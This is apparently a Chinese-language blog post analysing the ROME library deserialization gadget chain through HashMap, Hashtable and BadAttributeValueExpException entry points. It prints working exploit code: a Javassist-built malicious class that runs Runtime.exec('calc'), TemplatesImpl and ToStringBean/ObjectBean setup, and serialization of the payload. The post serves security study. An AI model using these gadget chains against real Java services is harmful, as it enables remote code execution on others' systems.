ROME链分析

ROME链分析

ROME 是一个用于 RSS 和 Atom 订阅的 Java 框架。它是开源的,并根据 Apache 2.0 许可授权。

ROME 包括一套解析器和生成器,可用于各种形式的聚合提要,以及将一种格式转换为另一种格式的转换器。解析器可以为您提供特定格式的 Java 对象,或者是通用的规范化 SyndFeed 类,让您可以处理数据,而无需考虑传入或传出的 feed 类型。

ObjectBean利用链

TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
EqualsBean.hashCode()
ObjetBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

源码分析

这里我们首先从HashMap开始分析,

#hashmap.readObject,这里面会

image-20240911090308368

这个就是之前分析过的putVal触发之后,触发hash方法,然后触发我们的hashCode方法

image-20240911090602751

这里我们看到这儿之后就会发现,显然(看了链子之后)这个key溯源回去就是我们的ObjectBean这个对象,所以我们直接去寻找ObjectBean这个类的hashCode方法

image-20240911222404174

这里又继续调用了beanHashCode方法,

image-20240911222539945

这个是EqualsBean里面的方法继续跟进

image-20240911224445470

这里我们得去看看这个_obj指的是什么

这里可以看到这个构造方法,我们实际上这里是我们可控的点,也就是后面我们传入的ToStringBean当做obj的值

image-20240911225801824

跟进我们的toString方法就进入这个了

image-20240911230851568

这个toString方法就是完成将我们toStringBean对象里面类的名称提取出来并存储起来,然后传递给另外一个重载的toString

image-20240912011104274

PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);

BeanIntrospector.getPropertyDescriptors方法获取当前对象(由this._beanClass指定的类)的所有属性,这个_beanClass实际上就是我们需要使用的TemplateImpl.class。还就是这个getReadMethod方法的时候在TemplateImpl.class中是我们的getOutputProperties,调用完成了我们的 TemplateImpl.getOutputPropertries(这就完成了我们链子的主要部分,其余就是CC3的动态加载字节码了。

EXP书写

1.恶意类书写

        ClassPool classpool=ClassPool.getDefault();
        classpool.appendClassPath(AbstarctTranslet);
        CtClass payload= classpool.makeClass("erin");
        payload.setSuperclass(classpool.get(AbstarctTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] bytes= payload.toBytecode();

2.创建TemplatesImpl对象

        Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        setFiled(templateImpl,"_bytecode",bytes);
        setFiled(templateImpl,"_tfactory",null);
        setFiled(templateImpl,"_name","e4telle");

3.创建ToStringBean对象,设置ObjectBean

        ToStringBean toStringBean=new ToStringBean(TemplatesImpl.getClass(),templateImpl);
        ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean);
        setFiled(objectBean,"_toStringbean",null);
        setFiled(objectBean, "_cloneableBean", null);

4.HashMap对象的创建,put值进去

        HashMap<Object,Object> hashMap=new HashMap<>();
        hashMap.put(objectBean,"abcd");

5.反序列化和序列化

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ObjectBean.bin"));
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();

        // 反序列化
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ObjectBean.bin"));
        objectInputStream.readObject();
        objectInputStream.close();

HashCode链

源码分析

image-20240911222404174

在我们上个链子的入口的时候我们发现调用HahMap的readObject方法调用了hash方法,然后到hashcode方法,所以我们也可以直接使用HashTable里面的readObject方法直接调用hashcode方法

image-20240912095415258

image-20240912095430220

EXP书写

        Hashtable hashtable = new Hashtable();
        hashtable.put(objectBean, "test");

BadAttributeValueExpException利用链

TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
BadAttributeValueExpException.readObject()

这个就是类的积累了,就是BadAttributeValueExpException的readObject方法的调用了

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    // 使用 ObjectInputStream 的 readFields 方法获取反序列化的字段
    ObjectInputStream.GetField gf = ois.readFields();
    // 从字段集合中获取名为 "val" 的字段的值
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        // 重点在这里,调用了toString方法
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

这里的System.getSecurityManager()返回的null,表示当前线程并未设置或安装安全管理器

所以我们只要把valObj设置为我们的ToStringBean对象就OK了。

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFiled(badAttributeValueExpException, "val", toStringBean);
posted @ 2024-09-12 10:13  tammy66  阅读(13)  评论(0)    收藏  举报